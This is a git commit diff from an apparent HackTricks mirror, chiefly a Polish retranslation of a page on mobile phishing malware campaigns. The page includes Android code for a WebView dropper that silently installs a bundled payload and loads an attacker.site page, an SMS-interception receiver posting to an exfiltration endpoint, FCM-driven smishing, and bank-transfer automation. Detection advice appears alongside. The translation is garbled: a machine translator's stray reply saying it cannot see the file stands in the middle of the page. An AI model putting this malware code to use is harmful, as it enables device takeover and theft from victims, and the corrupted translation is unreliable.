mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/generic-methodologies-and-resources/phishing-methodolog
This commit is contained in:
		
							parent
							
								
									391cdf1a76
								
							
						
					
					
						commit
						0a3e83da09
					
				| @ -17,7 +17,7 @@ handler2.setLevel(logging.ERROR) | ||||
| logger.addHandler(handler2) | ||||
| 
 | ||||
| 
 | ||||
| def findtitle(search ,obj, key, path=(),): | ||||
| def findtitle(search, obj, key, path=()): | ||||
|     # logger.debug(f"Looking for {search} in {path}") | ||||
|     if isinstance(obj, dict) and key in obj and obj[key] == search:  | ||||
|         return obj, path | ||||
| @ -54,26 +54,42 @@ def ref(matchobj): | ||||
|             if href.endswith("/"): | ||||
|                 href = href+"README.md" # Fix if ref points to a folder | ||||
|             if "#" in  href: | ||||
|                 chapter, _path = findtitle(href.split("#")[0], book, "source_path") | ||||
|                 title = " ".join(href.split("#")[1].split("-")).title() | ||||
|                 logger.debug(f'Ref has # using title: {title}') | ||||
|                 result = findtitle(href.split("#")[0], book, "source_path") | ||||
|                 if result is not None: | ||||
|                     chapter, _path = result | ||||
|                     title = " ".join(href.split("#")[1].split("-")).title() | ||||
|                     logger.debug(f'Ref has # using title: {title}') | ||||
|                 else: | ||||
|                     raise Exception(f"Chapter not found for path: {href.split('#')[0]}") | ||||
|             else: | ||||
|                 chapter, _path = findtitle(href, book, "source_path") | ||||
|                 logger.debug(f'Recursive title search result: {chapter["name"]}') | ||||
|                 title = chapter['name'] | ||||
|                 result = findtitle(href, book, "source_path") | ||||
|                 if result is not None: | ||||
|                     chapter, _path = result | ||||
|                     logger.debug(f'Recursive title search result: {chapter["name"]}') | ||||
|                     title = chapter['name'] | ||||
|                 else: | ||||
|                     raise Exception(f"Chapter not found for path: {href}") | ||||
|         except Exception as e: | ||||
|             dir = path.dirname(current_chapter['source_path']) | ||||
|             rel_path = path.normpath(path.join(dir,href)) | ||||
|             try: | ||||
|                 logger.debug(f'Not found chapter title from: {href} -- trying with relative path {rel_path}') | ||||
|                 if "#" in  href: | ||||
|                     chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path") | ||||
|                     title = " ".join(href.split("#")[1].split("-")).title() | ||||
|                     logger.debug(f'Ref has # using title: {title}') | ||||
|                     result = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path") | ||||
|                     if result is not None: | ||||
|                         chapter, _path = result | ||||
|                         title = " ".join(href.split("#")[1].split("-")).title() | ||||
|                         logger.debug(f'Ref has # using title: {title}') | ||||
|                     else: | ||||
|                         raise Exception(f"Chapter not found for relative path: {path.normpath(path.join(dir,href.split('#')[0]))}") | ||||
|                 else: | ||||
|                     chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path") | ||||
|                     title = chapter["name"] | ||||
|                     logger.debug(f'Recursive title search result: {chapter["name"]}') | ||||
|                     result = findtitle(path.normpath(path.join(dir,href)), book, "source_path") | ||||
|                     if result is not None: | ||||
|                         chapter, _path = result | ||||
|                         title = chapter["name"] | ||||
|                         logger.debug(f'Recursive title search result: {chapter["name"]}') | ||||
|                     else: | ||||
|                         raise Exception(f"Chapter not found for relative path: {path.normpath(path.join(dir,href))}") | ||||
|             except Exception as e: | ||||
|                 logger.debug(e) | ||||
|                 logger.error(f'Error getting chapter title: {rel_path}') | ||||
|  | ||||
| @ -768,7 +768,7 @@ | ||||
|     - [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md) | ||||
|   - [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md) | ||||
|   - [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md) | ||||
| - [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md) | ||||
| - [ROP & JOP](binary-exploitation/rop-return-oriented-programing/README.md) | ||||
|   - [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md) | ||||
|   - [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md) | ||||
|   - [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md) | ||||
| @ -837,8 +837,9 @@ | ||||
|   - [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md) | ||||
|   - [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md) | ||||
| - [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md) | ||||
| - [Linux kernel exploitation - toctou](binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md) | ||||
| - [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md) | ||||
| - [iOS Exploiting](binary-exploitation/ios-exploiting/README.md) | ||||
| - [iOS Exploiting](binary-exploitation/ios-exploiting.md) | ||||
| 
 | ||||
| # 🤖 AI | ||||
| - [AI Security](AI/README.md) | ||||
|  | ||||
| @ -3,65 +3,65 @@ | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
| 
 | ||||
| > [!INFO] | ||||
| > Ta strona omawia techniki stosowane przez aktorów zagrożeń do dystrybucji **złośliwych APK Androida** i **profilów konfiguracji mobilnej iOS** poprzez phishing (SEO, inżynieria społeczna, fałszywe sklepy, aplikacje randkowe itp.). | ||||
| > Materiał jest dostosowany z kampanii SarangTrap ujawnionej przez Zimperium zLabs (2025) oraz innych publicznych badań. | ||||
| > Ta strona opisuje techniki używane przez aktorów zagrożeń do dystrybucji **malicious Android APKs** i **iOS mobile-configuration profiles** poprzez phishing (SEO, social engineering, fake stores, dating apps, etc.). | ||||
| > Materiał jest adaptacją kampanii SarangTrap ujawnionej przez Zimperium zLabs (2025) oraz innych publicznych badań. | ||||
| 
 | ||||
| ## Attack Flow | ||||
| ## Przebieg ataku | ||||
| 
 | ||||
| 1. **SEO/Phishing Infrastructure** | ||||
| * Zarejestruj dziesiątki podobnych domen (randkowe, chmurowe, usługi samochodowe…). | ||||
| – Użyj lokalnych słów kluczowych i emoji w elemencie `<title>`, aby uzyskać wysoką pozycję w Google. | ||||
| – Umieść *zarówno* instrukcje instalacji Androida (`.apk`), jak i iOS na tej samej stronie docelowej. | ||||
| 2. **First Stage Download** | ||||
| * Android: bezpośredni link do *niepodpisanego* lub „sklepu zewnętrznego” APK. | ||||
| * iOS: `itms-services://` lub zwykły link HTTPS do złośliwego **profilu mobileconfig** (patrz poniżej). | ||||
| * Zarejestruj dziesiątki podobnych domen (dating, cloud share, car service…). | ||||
| – Użyj lokalnych słów kluczowych i emoji w elemencie `<title>`, aby poprawić pozycję w Google. | ||||
| – Hostuj *zarówno* Android (`.apk`) jak i instrukcje instalacji iOS na tej samej stronie docelowej. | ||||
| 2. **Pobranie w pierwszym etapie** | ||||
| * Android: bezpośredni link do *unsigned* lub „third-party store” APK. | ||||
| * iOS: `itms-services://` lub zwykły link HTTPS do złośliwego **mobileconfig** profilu (patrz niżej). | ||||
| 3. **Post-install Social Engineering** | ||||
| * Przy pierwszym uruchomieniu aplikacja prosi o **kod zaproszenia / weryfikacji** (iluzja ekskluzywnego dostępu). | ||||
| * Kod jest **wysyłany metodą POST przez HTTP** do Command-and-Control (C2). | ||||
| * C2 odpowiada `{"success":true}` ➜ złośliwe oprogramowanie kontynuuje. | ||||
| * Analiza dynamiczna w piaskownicy / AV, która nigdy nie przesyła ważnego kodu, nie widzi **złośliwego zachowania** (unikanie). | ||||
| * Kod jest **POSTed over HTTP** do Command-and-Control (C2). | ||||
| * C2 odpowiada `{"success":true}` ➜ malware kontynuuje działanie. | ||||
| * Analiza dynamiczna Sandbox / AV, która nigdy nie wysyła prawidłowego kodu, nie zobaczy **żadnego złośliwego zachowania** (ewazja). | ||||
| 4. **Runtime Permission Abuse** (Android) | ||||
| * Niebezpieczne uprawnienia są żądane **dopiero po pozytywnej odpowiedzi C2**: | ||||
| * Niebezpieczne uprawnienia są żądane dopiero **po pozytywnej odpowiedzi C2**: | ||||
| ```xml | ||||
| <uses-permission android:name="android.permission.READ_CONTACTS"/> | ||||
| <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/> | ||||
| <uses-permission android:name="android.permission.READ_PHONE_STATE"/> | ||||
| <!-- Starsze wersje również prosiły o uprawnienia SMS --> | ||||
| <!-- Older builds also asked for SMS permissions --> | ||||
| ``` | ||||
| * Ostatnie warianty **usuwają `<uses-permission>` dla SMS z `AndroidManifest.xml`**, ale pozostawiają ścieżkę kodu Java/Kotlin, która odczytuje SMS-y przez refleksję ⇒ obniża wynik statyczny, a jednocześnie działa na urządzeniach, które przyznają uprawnienia poprzez nadużycie `AppOps` lub stare cele. | ||||
| 5. **Facade UI & Background Collection** | ||||
| * Nowsze warianty **usuwają `<uses-permission>` dla SMS z `AndroidManifest.xml`** ale pozostawiają ścieżkę w Java/Kotlin, która czyta SMS przez reflection ⇒ obniża to wynik w analizie statycznej, a nadal działa na urządzeniach, które przyznały uprawnienie przez nadużycie `AppOps` lub na starszych celach. | ||||
| 5. Fasadowy UI i zbieranie w tle | ||||
| * Aplikacja pokazuje nieszkodliwe widoki (przeglądarka SMS, wybieracz galerii) zaimplementowane lokalnie. | ||||
| * W międzyczasie exfiltruje: | ||||
| - IMEI / IMSI, numer telefonu | ||||
| - Pełny zrzut `ContactsContract` (tablica JSON) | ||||
| - JPEG/PNG z `/sdcard/DCIM` skompresowane z [Luban](https://github.com/Curzibn/Luban), aby zmniejszyć rozmiar | ||||
| - Pełny zrzut `ContactsContract` (JSON array) | ||||
| - JPEG/PNG z `/sdcard/DCIM` skompresowane za pomocą [Luban](https://github.com/Curzibn/Luban) w celu zmniejszenia rozmiaru | ||||
| - Opcjonalna zawartość SMS (`content://sms`) | ||||
| Ładunki są **spakowane w paczki** i wysyłane przez `HTTP POST /upload.php`. | ||||
| Dane ładunku są **batch-zipped** i wysyłane przez `HTTP POST /upload.php`. | ||||
| 6. **iOS Delivery Technique** | ||||
| * Pojedynczy **profil konfiguracji mobilnej** może żądać `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` itp., aby zarejestrować urządzenie w nadzorze podobnym do „MDM”. | ||||
| * Instrukcje inżynierii społecznej: | ||||
| 1. Otwórz Ustawienia ➜ *Profil pobrany*. | ||||
| 2. Stuknij *Zainstaluj* trzy razy (zrzuty ekranu na stronie phishingowej). | ||||
| 3. Zaufaj niepodpisanemu profilowi ➜ atakujący zyskuje uprawnienia *Kontakty* i *Zdjęcia* bez przeglądu App Store. | ||||
| 7. **Network Layer** | ||||
| * Zwykły HTTP, często na porcie 80 z nagłówkiem HOST jak `api.<phishingdomain>.com`. | ||||
| * `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)` (bez TLS → łatwe do wykrycia). | ||||
| * Pojedynczy **mobile-configuration profile** może zażądać `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` itd., aby zarejestrować urządzenie w nadzorze podobnym do „MDM”. | ||||
| * Instrukcje social-engineeringowe: | ||||
| 1. Otwórz Ustawienia ➜ *Profile downloaded*. | ||||
| 2. Stuknij *Install* trzy razy (zrzuty ekranu na stronie phishingowej). | ||||
| 3. Zaufaj niepodpisanemu profilowi ➜ atakujący zyskuje uprawnienia *Contacts* & *Photo* bez przeglądu App Store. | ||||
| 7. Warstwa sieciowa | ||||
| * Zwykły HTTP, często na porcie 80 z nagłówkiem HOST takim jak `api.<phishingdomain>.com`. | ||||
| * `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)` (brak TLS → łatwe do wykrycia). | ||||
| 
 | ||||
| ## Defensive Testing / Red-Team Tips | ||||
| ## Porady dla testów defensywnych / Red-Team | ||||
| 
 | ||||
| * **Dynamic Analysis Bypass** – Podczas oceny złośliwego oprogramowania, zautomatyzuj fazę kodu zaproszenia za pomocą Frida/Objection, aby dotrzeć do złośliwej gałęzi. | ||||
| * **Manifest vs. Runtime Diff** – Porównaj `aapt dump permissions` z runtime `PackageManager#getRequestedPermissions()`; brak niebezpiecznych uprawnień to czerwony flag. | ||||
| * **Network Canary** – Skonfiguruj `iptables -p tcp --dport 80 -j NFQUEUE`, aby wykryć niesolidne wybuchy POST po wprowadzeniu kodu. | ||||
| * **mobileconfig Inspection** – Użyj `security cms -D -i profile.mobileconfig` na macOS, aby wylistować `PayloadContent` i zauważyć nadmierne uprawnienia. | ||||
| * **Dynamic Analysis Bypass** – Podczas oceny malware zautomatyzuj fazę kodu zaproszenia przy użyciu Frida/Objection, aby dotrzeć do złośliwej gałęzi. | ||||
| * **Manifest vs. Runtime Diff** – Porównaj `aapt dump permissions` z runtime `PackageManager#getRequestedPermissions()`; brakujące niebezpieczne permisy to czerwona flaga. | ||||
| * **Network Canary** – Skonfiguruj `iptables -p tcp --dport 80 -j NFQUEUE` aby wykryć nietypowe nagłe wysyły POST po wpisaniu kodu. | ||||
| * **mobileconfig Inspection** – Użyj `security cms -D -i profile.mobileconfig` na macOS, aby wylistować `PayloadContent` i wykryć nadmierne uprawnienia. | ||||
| 
 | ||||
| ## Blue-Team Detection Ideas | ||||
| ## Pomysły wykrywania dla Blue Team | ||||
| 
 | ||||
| * **Certificate Transparency / DNS Analytics** w celu wychwycenia nagłych wybuchów domen bogatych w słowa kluczowe. | ||||
| * **User-Agent & Path Regex**: `(?i)POST\s+/(check|upload)\.php` z klientów Dalvik poza Google Play. | ||||
| * **Certificate Transparency / DNS Analytics** aby wychwycić nagłe pojawianie się domen bogatych w słowa kluczowe. | ||||
| * **User-Agent & Path Regex**: `(?i)POST\s+/(check|upload)\.php` z klientów Dalvik spoza Google Play. | ||||
| * **Invite-code Telemetry** – POST 6–8 cyfrowych kodów numerycznych krótko po instalacji APK może wskazywać na staging. | ||||
| * **MobileConfig Signing** – Zablokuj niepodpisane profile konfiguracji za pomocą polityki MDM. | ||||
| * **MobileConfig Signing** – Blokuj niepodpisane profile konfiguracyjne za pomocą polityki MDM. | ||||
| 
 | ||||
| ## Useful Frida Snippet: Auto-Bypass Invitation Code | ||||
| ## Przydatny fragment Frida: Automatyczne ominięcie kodu zaproszenia | ||||
| ```python | ||||
| # frida -U -f com.badapp.android -l bypass.js --no-pause | ||||
| # Hook HttpURLConnection write to always return success | ||||
| @ -90,17 +90,17 @@ LubanCompress 1.1.8       # "Luban" string inside classes.dex | ||||
| 
 | ||||
| ## Android WebView Payment Phishing (UPI) – Dropper + FCM C2 Pattern | ||||
| 
 | ||||
| Ten wzór został zaobserwowany w kampaniach wykorzystujących tematy związane z rządowymi świadczeniami do kradzieży indyjskich danych UPI i OTP. Operatorzy łączą renomowane platformy w celu dostarczenia i odporności. | ||||
| This pattern has been observed in campaigns abusing government-benefit themes to steal Indian UPI credentials and OTPs. Operators chain reputable platforms for delivery and resilience. | ||||
| 
 | ||||
| ### Łańcuch dostaw na zaufanych platformach | ||||
| - Wideo na YouTube jako przynęta → opis zawiera krótki link | ||||
| - Krótki link → strona phishingowa GitHub Pages imitująca legalny portal | ||||
| - Ta sama repozytorium GitHub hostuje APK z fałszywą odznaką „Google Play” prowadzącą bezpośrednio do pliku | ||||
| - Dynamiczne strony phishingowe działają na Replit; zdalny kanał komend używa Firebase Cloud Messaging (FCM) | ||||
| ### Łańcuch dostaw przez zaufane platformy | ||||
| - Wabik wideo na YouTube → opis zawiera krótki link | ||||
| - Krótki link → strona phishingowa na GitHub Pages podszywająca się pod oryginalny portal | ||||
| - To samo repo GitHub hostuje APK z fałszywą plakietką “Google Play”, linkującą bezpośrednio do pliku | ||||
| - Dynamiczne strony phishingowe działają na Replit; zdalny kanał poleceń używa Firebase Cloud Messaging (FCM) | ||||
| 
 | ||||
| ### Dropper z osadzonym ładunkiem i instalacją offline | ||||
| - Pierwsze APK to instalator (dropper), który dostarcza prawdziwe złośliwe oprogramowanie w `assets/app.apk` i prosi użytkownika o wyłączenie Wi‑Fi/danych mobilnych, aby zminimalizować wykrywanie w chmurze. | ||||
| - Osadzony ładunek instaluje się pod niewinną etykietą (np. „Bezpieczna aktualizacja”). Po instalacji zarówno instalator, jak i ładunek są obecne jako oddzielne aplikacje. | ||||
| ### Dropper with embedded payload and offline install | ||||
| - Pierwszy APK to installer (dropper), który dostarcza rzeczywiste malware pod `assets/app.apk` i prosi użytkownika o wyłączenie Wi‑Fi/danych mobilnych, aby osłabić wykrywanie w chmurze. | ||||
| - The embedded payload instaluje się pod niewinną etykietą (np. “Secure Update”). Po instalacji zarówno installer, jak i payload są obecne jako oddzielne aplikacje. | ||||
| 
 | ||||
| Static triage tip (grep for embedded payloads): | ||||
| ```bash | ||||
| @ -108,10 +108,10 @@ unzip -l sample.apk | grep -i "assets/app.apk" | ||||
| # Or: | ||||
| zipgrep -i "classes|.apk" sample.apk | head | ||||
| ``` | ||||
| ### Dynamic endpoint discovery via shortlink | ||||
| - Złośliwe oprogramowanie pobiera listę aktywnych punktów końcowych w formacie tekstowym, oddzieloną przecinkami, z krótkiego linku; proste przekształcenia ciągów generują ostateczną ścieżkę strony phishingowej. | ||||
| ### Dynamiczne odkrywanie endpointów przez shortlink | ||||
| - Malware pobiera listę w plain-text, rozdzieloną przecinkami, aktywnych endpointów z shortlink; proste transformacje stringów tworzą końcową ścieżkę strony phishing. | ||||
| 
 | ||||
| Example (sanitised): | ||||
| Przykład (zredagowany): | ||||
| ``` | ||||
| GET https://rebrand.ly/dclinkto2 | ||||
| Response: https://sqcepo.replit.app/gate.html,https://sqcepo.replit.app/addsm.php | ||||
| @ -119,7 +119,7 @@ Transform: "gate.html" → "gate.htm" (loaded in WebView) | ||||
| UPI credential POST: https://sqcepo.replit.app/addup.php | ||||
| SMS upload:           https://sqcepo.replit.app/addsm.php | ||||
| ``` | ||||
| Pseudo-kod: | ||||
| Pseudokod: | ||||
| ```java | ||||
| String csv = httpGet(shortlink); | ||||
| String[] parts = csv.split(","); | ||||
| @ -127,8 +127,8 @@ String upiPage = parts[0].replace("gate.html", "gate.htm"); | ||||
| String smsPost = parts[1]; | ||||
| String credsPost = upiPage.replace("gate.htm", "addup.php"); | ||||
| ``` | ||||
| ### WebView-based UPI credential harvesting | ||||
| - Krok „Dokonaj płatności w wysokości ₹1 / UPI‑Lite” ładuje formularz HTML atakującego z dynamicznego punktu końcowego wewnątrz WebView i przechwytuje wrażliwe pola (telefon, bank, UPI PIN), które są `POST`owane do `addup.php`. | ||||
| ### WebView-based wyłudzanie poświadczeń UPI | ||||
| - Krok „Wykonaj płatność ₹1 / UPI‑Lite” ładuje złośliwy formularz HTML z dynamicznego endpointu wewnątrz WebView i przechwytuje pola wrażliwe (telefon, bank, UPI PIN), które są `POST`owane do `addup.php`. | ||||
| 
 | ||||
| Minimalny loader: | ||||
| ```java | ||||
| @ -136,7 +136,7 @@ WebView wv = findViewById(R.id.web); | ||||
| wv.getSettings().setJavaScriptEnabled(true); | ||||
| wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm | ||||
| ``` | ||||
| ### Samo-rozprzestrzenianie i przechwytywanie SMS/OTP | ||||
| ### Self-propagation and SMS/OTP interception | ||||
| - Na pierwszym uruchomieniu żądane są agresywne uprawnienia: | ||||
| ```xml | ||||
| <uses-permission android:name="android.permission.READ_CONTACTS"/> | ||||
| @ -144,10 +144,10 @@ wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm | ||||
| <uses-permission android:name="android.permission.READ_SMS"/> | ||||
| <uses-permission android:name="android.permission.CALL_PHONE"/> | ||||
| ``` | ||||
| - Kontakty są używane do masowego wysyłania smishing SMS z urządzenia ofiary. | ||||
| - Przychodzące SMS są przechwytywane przez odbiornik rozgłoszeniowy i przesyłane z metadanymi (nadawca, treść, slot SIM, losowy identyfikator urządzenia) do `/addsm.php`. | ||||
| - Kontakty są przetwarzane w pętli, aby masowo wysyłać smishing SMS-y z urządzenia ofiary. | ||||
| - Przychodzące SMS-y są przechwytywane przez broadcast receiver i przesyłane wraz z metadanymi (sender, body, SIM slot, per-device random ID) do `/addsm.php`. | ||||
| 
 | ||||
| Receiver sketch: | ||||
| Szkic odbiornika: | ||||
| ```java | ||||
| public void onReceive(Context c, Intent i){ | ||||
| SmsMessage[] msgs = Telephony.Sms.Intents.getMessagesFromIntent(i); | ||||
| @ -162,9 +162,9 @@ postForm(urlAddSms, new FormBody.Builder() | ||||
| } | ||||
| ``` | ||||
| ### Firebase Cloud Messaging (FCM) jako odporny C2 | ||||
| - Ładunek rejestruje się w FCM; wiadomości push zawierają pole `_type`, które jest używane jako przełącznik do wyzwalania akcji (np. aktualizacja szablonów tekstów phishingowych, przełączanie zachowań). | ||||
| - Payload rejestruje się w FCM; push messages niosą pole `_type` używane jako przełącznik do wyzwalania akcji (np. aktualizacja szablonów tekstów phishing, przełączanie zachowań). | ||||
| 
 | ||||
| Przykład ładunku FCM: | ||||
| Przykładowy FCM payload: | ||||
| ```json | ||||
| { | ||||
| "to": "<device_fcm_token>", | ||||
| @ -174,7 +174,7 @@ Przykład ładunku FCM: | ||||
| } | ||||
| } | ||||
| ``` | ||||
| Szkic obsługi: | ||||
| Szkic handlera: | ||||
| ```java | ||||
| @Override | ||||
| public void onMessageReceived(RemoteMessage msg){ | ||||
| @ -186,27 +186,178 @@ case "smish": sendSmishToContacts(); break; | ||||
| } | ||||
| } | ||||
| ``` | ||||
| ### Wzorce polowania i IOCs | ||||
| - APK zawiera wtórny ładunek w `assets/app.apk` | ||||
| - WebView ładuje płatność z `gate.htm` i eksfiltruje do `/addup.php` | ||||
| - Eksfiltracja SMS do `/addsm.php` | ||||
| - Fetchowanie konfiguracji za pomocą skróconych linków (np. `rebrand.ly/*`) zwracających punkty końcowe CSV | ||||
| - Aplikacje oznaczone jako ogólne „Aktualizacja/Zabezpieczona aktualizacja” | ||||
| - Wiadomości FCM `data` z dyskryminatorem `_type` w nieufnych aplikacjach | ||||
| ### Wzorce wykrywania i IOCs | ||||
| - APK zawiera dodatkowy payload w `assets/app.apk` | ||||
| - WebView ładuje płatność z `gate.htm` i eksfiltrowuje do `/addup.php` | ||||
| - Eksfiltracja SMS-ów do `/addsm.php` | ||||
| - Pobieranie konfiguracji uruchamiane przez shortlink (np. `rebrand.ly/*`) zwracające endpointy w formacie CSV | ||||
| - Aplikacje oznaczone jako ogólne „Update/Secure Update” | ||||
| - Wiadomości FCM `data` z polem `_type` w niezaufanych aplikacjach | ||||
| 
 | ||||
| ### Pomysły na wykrywanie i obronę | ||||
| - Oznaczaj aplikacje, które instruują użytkowników, aby wyłączyli sieć podczas instalacji, a następnie zainstalowali drugi APK z `assets/`. | ||||
| - Alarmuj na krotkę uprawnień: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + przepływy płatności oparte na WebView. | ||||
| - Monitorowanie egress dla `POST /addup.php|/addsm.php` na niekorporacyjnych hostach; blokuj znaną infrastrukturę. | ||||
| - Zasady EDR dla urządzeń mobilnych: nieufna aplikacja rejestrująca się do FCM i rozgałęziająca się na polu `_type`. | ||||
| - Oznaczaj aplikacje, które instruują użytkowników, aby wyłączyli sieć podczas instalacji, a następnie side-loadują drugi APK z `assets/`. | ||||
| - Generuj alert na krotkę uprawnień: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + przepływy płatności oparte o WebView. | ||||
| - Monitorowanie egressu dla `POST /addup.php|/addsm.php` na hostach niekorporacyjnych; blokuj znaną infrastrukturę. | ||||
| - Reguły Mobile EDR: niezaufana aplikacja rejestrująca się do FCM i rozgałęziająca się na podstawie pola `_type`. | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ## Odniesienia | ||||
| ## Android Accessibility/Overlay & Device Admin Abuse, ATS automation, and NFC relay orchestration – studium przypadku RatOn | ||||
| 
 | ||||
| Kampania RatOn banker/RAT (ThreatFabric) jest konkretnym przykładem, jak współczesne operacje phishingu mobilnego łączą WebView droppers, Accessibility-driven UI automation, overlays/ransom, Device Admin coercion, Automated Transfer System (ATS), przejęcie portfela kryptowalut i nawet orkiestrację NFC-relay. Ta sekcja wyodrębnia techniki nadające się do ponownego użycia. | ||||
| 
 | ||||
| ### Stage-1: WebView → natywny most instalacyjny (dropper) | ||||
| 
 | ||||
| Atakujący prezentują WebView wskazujący na złośliwą stronę i wstrzykują interfejs JavaScript, który udostępnia natywny instalator. Stuknięcie przycisku HTML wywołuje kod natywny, który instaluje APK drugiego etapu dołączony w assets droppera, a następnie bezpośrednio go uruchamia. | ||||
| 
 | ||||
| Minimalny wzorzec: | ||||
| ```java | ||||
| public class DropperActivity extends Activity { | ||||
| @Override protected void onCreate(Bundle b){ | ||||
| super.onCreate(b); | ||||
| WebView wv = new WebView(this); | ||||
| wv.getSettings().setJavaScriptEnabled(true); | ||||
| wv.addJavascriptInterface(new Object(){ | ||||
| @android.webkit.JavascriptInterface | ||||
| public void installApk(){ | ||||
| try { | ||||
| PackageInstaller pi = getPackageManager().getPackageInstaller(); | ||||
| PackageInstaller.SessionParams p = new PackageInstaller.SessionParams(PackageInstaller.SessionParams.MODE_FULL_INSTALL); | ||||
| int id = pi.createSession(p); | ||||
| try (PackageInstaller.Session s = pi.openSession(id); | ||||
| InputStream in = getAssets().open("payload.apk"); | ||||
| OutputStream out = s.openWrite("base.apk", 0, -1)){ | ||||
| byte[] buf = new byte[8192]; int r; while((r=in.read(buf))>0){ out.write(buf,0,r);} s.fsync(out); | ||||
| } | ||||
| PendingIntent status = PendingIntent.getBroadcast(this, 0, new Intent("com.evil.INSTALL_DONE"), PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE); | ||||
| pi.commit(id, status.getIntentSender()); | ||||
| } catch (Exception e) { /* log */ } | ||||
| } | ||||
| }, "bridge"); | ||||
| setContentView(wv); | ||||
| wv.loadUrl("https://attacker.site/install.html"); | ||||
| } | ||||
| } | ||||
| ``` | ||||
| Nie widzę zawartości pliku. Proszę wklej tutaj HTML/Markdown z pliku src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md, a przetłumaczę odpowiedni angielski tekst na polski, zachowując dokładnie wszystkie tagi, linki, ścieżki, kod oraz markdown/html. | ||||
| ```html | ||||
| <button onclick="bridge.installApk()">Install</button> | ||||
| ``` | ||||
| Po instalacji dropper uruchamia payload za pomocą explicit package/activity: | ||||
| ```java | ||||
| Intent i = new Intent(); | ||||
| i.setClassName("com.stage2.core", "com.stage2.core.MainActivity"); | ||||
| startActivity(i); | ||||
| ``` | ||||
| Hunting idea: nieufne aplikacje wywołujące `addJavascriptInterface()` i udostępniające WebView metody przypominające instalator; APK zawierający osadzony secondary payload w `assets/` i wywołujący Package Installer Session API. | ||||
| 
 | ||||
| ### Consent funnel: Accessibility + Device Admin + follow-on runtime prompts | ||||
| Stage-2 otwiera WebView, który hostuje stronę “Access”. Jej przycisk wywołuje eksportowaną metodę, która nawiguję ofiarę do ustawień Accessibility i prosi o włączenie złośliwej usługi. Po przyznaniu malware używa Accessibility, aby automatycznie przejść przez kolejne runtime permission dialogs (contacts, overlay, manage system settings, etc.) i żąda Device Admin. | ||||
| 
 | ||||
| - Accessibility programowo pomaga zaakceptować późniejsze monity, znajdując w drzewie węzłów przyciski takie jak “Allow”/“OK” i wysyłając kliknięcia. | ||||
| - Overlay permission check/request: | ||||
| ```java | ||||
| if (!Settings.canDrawOverlays(ctx)) { | ||||
| Intent i = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION, | ||||
| Uri.parse("package:" + ctx.getPackageName())); | ||||
| ctx.startActivity(i); | ||||
| } | ||||
| ``` | ||||
| Zobacz także: | ||||
| 
 | ||||
| {{#ref}} | ||||
| ../../mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md | ||||
| {{#endref}} | ||||
| 
 | ||||
| ### Overlay phishing/ransom via WebView | ||||
| Operatorzy mogą wydawać polecenia, aby: | ||||
| - wyświetlić nakładkę na cały ekran z URL, lub | ||||
| - przekazać inline HTML, które zostanie załadowane do nakładki WebView. | ||||
| 
 | ||||
| Prawdopodobne zastosowania: coercion (wprowadzenie PIN), otwieranie wallet w celu przechwycenia PIN-ów, wiadomości z żądaniem okupu. Zachowaj polecenie, które sprawdzi i wymusi nadanie uprawnienia do nakładek, jeśli go brakuje. | ||||
| 
 | ||||
| ### Remote control model – text pseudo-screen + screen-cast | ||||
| - Low-bandwidth: okresowo zrzucać drzewo węzłów Accessibility, serializować widoczne teksty/role/bounds i wysyłać do C2 jako pseudo-ekran (polecenia takie jak `txt_screen` jednorazowo i `screen_live` ciągłe). | ||||
| - High-fidelity: zażądać MediaProjection i rozpocząć strumieniowanie/nagrywanie ekranu na żądanie (polecenia takie jak `display` / `record`). | ||||
| 
 | ||||
| ### ATS playbook (bank app automation) | ||||
| Mając zadanie w formacie JSON, otwórz aplikację bankową, steruj UI przez Accessibility używając mieszanki zapytań tekstowych i stuknięć po współrzędnych, oraz wprowadź payment PIN ofiary, gdy zostanie poproszony. | ||||
| 
 | ||||
| Przykładowe zadanie: | ||||
| ```json | ||||
| { | ||||
| "cmd": "transfer", | ||||
| "receiver_address": "ACME s.r.o.", | ||||
| "account": "123456789/0100", | ||||
| "amount": "24500.00", | ||||
| "name": "ACME" | ||||
| } | ||||
| ``` | ||||
| Example texts seen in one target flow (CZ → EN): | ||||
| - "Nová platba" → "Nowa płatność" | ||||
| - "Zadat platbu" → "Wprowadź płatność" | ||||
| - "Nový příjemce" → "Nowy odbiorca" | ||||
| - "Domácí číslo účtu" → "Krajowy numer konta" | ||||
